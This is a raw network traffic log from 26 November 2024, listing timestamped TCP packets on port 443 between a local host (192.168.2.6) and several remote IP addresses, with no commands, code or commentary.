Nov 26, 2024 01:41:19.835396051 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.835429907 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.835493088 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.835509062 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.835526943 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.835578918 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.835583925 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.835593939 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.835628033 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.845278978 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.845310926 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.845361948 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.845370054 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.845413923 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.857274055 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.857330084 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.857363939 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.857372999 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.857422113 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.857466936 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.858388901 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.858409882 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.858486891 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.858494043 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.858516932 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.858547926 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.861223936 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.877902031 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.877927065 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.877993107 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.878000975 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.878068924 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.884699106 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.884717941 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.884803057 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.884815931 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.884879112 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.885278940 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.885310888 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.885348082 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.885356903 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.885392904 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.885421991 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.887013912 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.887061119 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.887108088 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.887116909 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.887161016 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.887161016 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.907109022 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.909560919 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.909584045 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.909642935 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.909662008 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.909718990 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.909727097 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.910218000 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.910239935 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.910388947 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.910401106 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.910509109 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.915404081 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.915409088 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.916297913 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.916302919 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.930370092 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.930419922 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.930474043 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.930488110 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.930529118 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.930577040 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.930865049 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.930886984 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.930948019 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.930953979 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.931005955 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.931005955 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.938483000 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.938504934 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.938570976 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.938584089 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.938636065 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.938667059 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.964728117 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.964751005 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.964818954 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.964834929 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.964893103 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.964909077 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.988508940 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.988531113 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.988616943 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.988639116 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.988692999 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.009435892 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.009455919 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.009567022 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.009586096 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.009751081 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.019467115 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.019524097 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.019556999 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.019570112 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.019618988 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.031955004 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.031982899 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.032102108 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.032114983 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.032160044 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.042010069 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.042045116 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.042092085 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.042105913 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.042148113 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.044249058 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.044305086 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.044342995 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.044354916 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.044404030 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.051417112 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.051467896 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.051498890 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.051506996 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.051569939 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.058022976 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.058048964 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.058142900 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.058151960 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.058160067 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.058170080 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.058168888 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.058222055 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.058233976 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.058257103 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.058257103 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.058268070 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.060061932 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.060107946 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.060165882 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.060175896 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.060230017 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.072411060 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.072458029 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.072515011 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.072521925 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.072575092 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.072962046 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.073004007 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.073029041 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.073041916 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.073051929 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.073055029 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.073076963 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.073082924 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.073129892 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.073183060 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.073184013 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.077877998 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.077898026 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.077953100 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.077960968 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.077996016 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.078016043 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.083040953 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.083107948 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.083175898 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.085463047 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.085513115 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.085557938 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.085566044 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.085628986 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.088316917 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.088376045 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.088438034 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.088444948 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.088505030 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.097903013 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.097923040 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.098023891 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.098031044 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.098081112 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.100013971 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.100034952 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.100054026 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.100085020 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.100095987 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.100100994 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.100178003 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.100178003 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.100186110 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.100235939 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.110580921 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.110600948 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.110650063 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.110656977 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.110713959 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.113605022 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.113627911 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.113682985 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.113688946 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.113743067 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.128002882 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.128031969 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.128104925 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.128110886 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.128165007 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.130165100 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.130212069 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.130244017 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.130251884 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.130292892 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.130314112 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.131805897 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:20.131827116 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:20.131886959 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:20.132301092 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.132333994 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.132371902 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.132384062 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.132412910 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.132431984 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.132615089 CET	49737	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:20.132631063 CET	443	49737	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:20.147182941 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.147243023 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.147326946 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.147464037 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.147478104 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.147622108 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.147631884 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.147680998 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.153904915 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.153915882 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.153929949 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.153934956 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.160307884 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.160331964 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.160376072 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.160382986 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.160432100 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.166908026 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.166971922 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.167040110 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.175198078 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.175214052 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.175293922 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.175304890 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.175391912 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.180823088 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.180829048 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.180840969 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.180844069 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.189949036 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.189965010 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.190062046 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.190071106 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.190109015 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.193082094 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.193135977 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.193166018 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.193182945 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.203866005 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.203895092 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.203931093 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.203941107 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.203999996 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.218621969 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.218637943 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.218755007 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.218765020 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.218961954 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.219733953 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.219793081 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:20.219974041 CET	49733	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:20.227466106 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.227531910 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.227588892 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.227595091 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.227643013 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.227788925 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.227818012 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.227859974 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.227874994 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.227889061 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.228080034 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.230443001 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.230468988 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.230552912 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.230565071 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.230621099 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.236768007 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.236812115 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.236867905 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.236875057 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.236903906 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.236932993 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.238070011 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.238094091 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.238145113 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.238152027 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.238217115 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.239710093 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.239727974 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.239991903 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.239996910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.240041971 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.244913101 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.244940042 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.244992971 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.244999886 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.245048046 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.247601032 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.247617960 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.247669935 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.247682095 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.247714996 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.247759104 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.249036074 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.249057055 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.249116898 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.249124050 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.249186039 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.249207973 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.253014088 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.253036022 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.253089905 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.253098011 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.253128052 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.253148079 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.256892920 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.256963015 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.256983995 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.256994009 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.257035017 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.257056952 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.259373903 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.259394884 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.259454012 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:20.259460926 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:20.259507895 CET	49727	443	192.168.2.6	150.171.27.10
